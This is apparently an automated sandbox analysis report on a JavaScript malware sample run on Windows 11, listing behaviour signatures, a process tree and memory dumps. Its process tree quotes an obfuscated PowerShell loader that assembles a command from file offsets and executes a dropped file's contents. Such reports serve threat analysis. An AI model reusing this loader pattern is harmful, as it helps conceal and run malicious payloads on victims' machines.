Analysis
- max time kernel
898s - max time network
891s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
11/05/2026, 12:24
General
- Target 20260421-02741.js
- Size 360KB
- Sample260511-plefpshy6y
- SHA256 ac2dfd4519b1b8a229335e4d6f27a39400cc9e55d387958f58d17cbe2167dc11
Malware Config
Signatures
- Badlisted process makes network request 12 IoCs
Network request originating from process or tool commonly abused by malware.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies Internet Explorer settings 1 TTPs 4 IoCs
- Modifies registry class 21 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\20260421-02741.js1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exe"C:\Windows\explorer.exe" Z:\port\can\windows2⤵
- Enumerates connected drives
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Jemeda=($HOME+'/appdata/roaming/Kibitz');$Berigen=gc $Jemeda;$tangly=$Berigen[3045]+$Berigen[3046]+$Berigen[3047]; .($tangly) $Berigen"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_umk5bvy0.4oz.ps1
Kibitz
memory/1432-14-0x000002717F2E0000-0x000002717F38F000-memory.dmp
memory/1432-15-0x000002717D660000-0x000002717D66C000-memory.dmp
memory/1580-11-0x000001EF67450000-0x000001EF67472000-memory.dmp
memory/1580-18-0x000001EF67200000-0x000001EF672AF000-memory.dmp
memory/1580-19-0x000001EF4ECF0000-0x000001EF4ED02000-memory.dmp
memory/1580-17-0x000001EF4D460000-0x000001EF4D46C000-memory.dmp
memory/3692-16-0x0000000002400000-0x00000000024AF000-memory.dmp
memory/3864-4-0x0000000002390000-0x000000000243F000-memory.dmp